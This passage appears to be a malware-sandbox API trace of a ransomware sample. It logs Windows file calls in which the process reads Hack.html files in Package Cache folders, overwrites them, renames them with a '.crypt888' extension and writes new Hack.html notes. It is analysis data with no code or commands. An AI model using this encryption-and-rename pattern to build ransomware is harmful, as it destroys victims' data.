lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Hack.html", lpFilePart=0x0) returned 0x5c [0089.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0089.678] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.679] GetFileType (hFile=0x174) returned 0x1 [0089.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0089.679] GetFileType (hFile=0x174) returned 0x1 [0089.679] WriteFile (in: hFile=0x174, lpBuffer=0x26e011c*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ecb4, lpOverlapped=0x0 | out: lpBuffer=0x26e011c*, lpNumberOfBytesWritten=0x39ecb4*=0xc0, lpOverlapped=0x0) returned 1 [0089.680] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Hack.html", lpFilePart=0x0) returned 0x5c [0089.680] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Hack.html.crypt888", lpFilePart=0x0) returned 0x65 [0089.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0089.680] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdd0f40, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbdd0f40, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc6a64a40, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0089.680] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\hack.html.crypt888")) returned 1 [0089.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0089.681] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch", lpFilePart=0x0) returned 0x58 [0089.681] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\", lpFilePart=0x0) returned 0x59 [0089.681] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a728 [0089.681] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.681] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.681] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.682] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0089.682] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0089.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0089.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0089.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0089.682] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch", lpFilePart=0x0) returned 0x58 [0089.682] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\", lpFilePart=0x0) returned 0x59 [0089.682] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a728 [0089.682] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.682] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.682] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.682] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0089.683] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0089.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0089.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0089.683] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\Hack.html", lpFilePart=0x0) returned 0x62 [0089.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0089.683] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.683] GetFileType (hFile=0x174) returned 0x1 [0089.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0089.683] GetFileType (hFile=0x174) returned 0x1 [0089.683] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0089.683] ReadFile (in: hFile=0x174, lpBuffer=0x26e3a10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x26e3a10*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0089.698] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\Hack.html", lpFilePart=0x0) returned 0x62 [0089.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0089.698] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.699] GetFileType (hFile=0x174) returned 0x1 [0089.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0089.699] GetFileType (hFile=0x174) returned 0x1 [0089.699] WriteFile (in: hFile=0x174, lpBuffer=0x2731d38*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ec80, lpOverlapped=0x0 | out: lpBuffer=0x2731d38*, lpNumberOfBytesWritten=0x39ec80*=0xc0, lpOverlapped=0x0) returned 1 [0089.700] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\Hack.html", lpFilePart=0x0) returned 0x62 [0089.700] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\Hack.html.crypt888", lpFilePart=0x0) returned 0x6b [0089.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0089.700] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdaade0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbdaade0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc6ab0d00, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0089.700] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\hack.html.crypt888")) returned 1 [0089.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0089.701] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0089.701] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0089.702] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0089.702] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0089.702] FindClose (in: hFindFile=0x599f28 | out: hFindFile=0x599f28) returned 1 [0089.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0089.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0089.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0089.702] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0089.702] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0089.702] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0089.703] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0089.703] FindClose (in: hFindFile=0x599f28 | out: hFindFile=0x599f28) returned 1 [0089.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0089.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0089.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebd4) returned 1 [0089.703] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.703] GetFileType (hFile=0x174) returned 0x1 [0089.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebd0) returned 1 [0089.703] GetFileType (hFile=0x174) returned 0x1 [0089.703] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ecdc | out: lpFileSizeHigh=0x39ecdc*=0x0) returned 0xba [0089.703] ReadFile (in: hFile=0x174, lpBuffer=0x2735920, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ec88, lpOverlapped=0x0 | out: lpBuffer=0x2735920*, lpNumberOfBytesRead=0x39ec88*=0xba, lpOverlapped=0x0) returned 1 [0089.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0089.719] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.720] GetFileType (hFile=0x174) returned 0x1 [0089.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebb8) returned 1 [0089.720] GetFileType (hFile=0x174) returned 0x1 [0089.720] WriteFile (in: hFile=0x174, lpBuffer=0x2783af4*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ec4c, lpOverlapped=0x0 | out: lpBuffer=0x2783af4*, lpNumberOfBytesWritten=0x39ec4c*=0xc0, lpOverlapped=0x0) returned 1 [0089.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec60) returned 1 [0089.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec5c) returned 1 [0089.721] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\hack.html.crypt888")) returned 1 [0089.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0089.722] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.727] GetFileType (hFile=0x174) returned 0x1 [0089.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0089.727] GetFileType (hFile=0x174) returned 0x1 [0089.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0089.728] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.728] GetFileType (hFile=0x174) returned 0x1 [0089.728] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0089.728] GetFileType (hFile=0x174) returned 0x1 [0089.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0089.729] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.729] GetFileType (hFile=0x174) returned 0x1 [0089.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0089.730] GetFileType (hFile=0x174) returned 0x1 [0089.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0089.731] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.733] GetFileType (hFile=0x174) returned 0x1 [0089.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0089.733] GetFileType (hFile=0x174) returned 0x1 [0089.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0089.734] FindNextFileW (in: hFindFile=0x59a2a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.734] FindNextFileW (in: hFindFile=0x59a2a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.734] FindNextFileW (in: hFindFile=0x59a2a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.734] FindNextFileW (in: hFindFile=0x59a2a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0089.734] FindClose (in: hFindFile=0x59a2a8 | out: hFindFile=0x59a2a8) returned 1 [0089.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0089.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0089.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0089.735] FindNextFileW (in: hFindFile=0x59a2a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.735] FindNextFileW (in: hFindFile=0x59a2a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.735] FindNextFileW (in: hFindFile=0x59a2a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.735] FindNextFileW (in: hFindFile=0x59a2a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0089.735] FindClose (in: hFindFile=0x59a2a8 | out: hFindFile=0x59a2a8) returned 1 [0089.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0089.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0089.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0089.735] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.735] GetFileType (hFile=0x174) returned 0x1 [0089.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0089.736] GetFileType (hFile=0x174) returned 0x1 [0089.736] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0089.736] ReadFile (in: hFile=0x174, lpBuffer=0x27914d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27914d4*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0089.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0089.748] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.749] GetFileType (hFile=0x174) returned 0x1 [0089.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0089.749] GetFileType (hFile=0x174) returned 0x1 [0089.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0089.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0089.750] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\hack.html.crypt888")) returned 1 [0089.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0089.751] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.751] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.751] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.752] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0089.752] FindClose (in: hFindFile=0x59a428 | out: hFindFile=0x59a428) returned 1 [0089.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0089.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0089.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0089.752] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.752] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.752] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.752] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0089.752] FindClose (in: hFindFile=0x59a428 | out: hFindFile=0x59a428) returned 1 [0089.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0089.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0089.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0089.753] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.753] GetFileType (hFile=0x174) returned 0x1 [0089.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0089.753] GetFileType (hFile=0x174) returned 0x1 [0089.753] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0089.753] ReadFile (in: hFile=0x174, lpBuffer=0x27e3190, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x27e3190*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0089.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0089.767] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.768] GetFileType (hFile=0x174) returned 0x1 [0089.768] SetThreadErrorMode (dwNewMode=0x0, 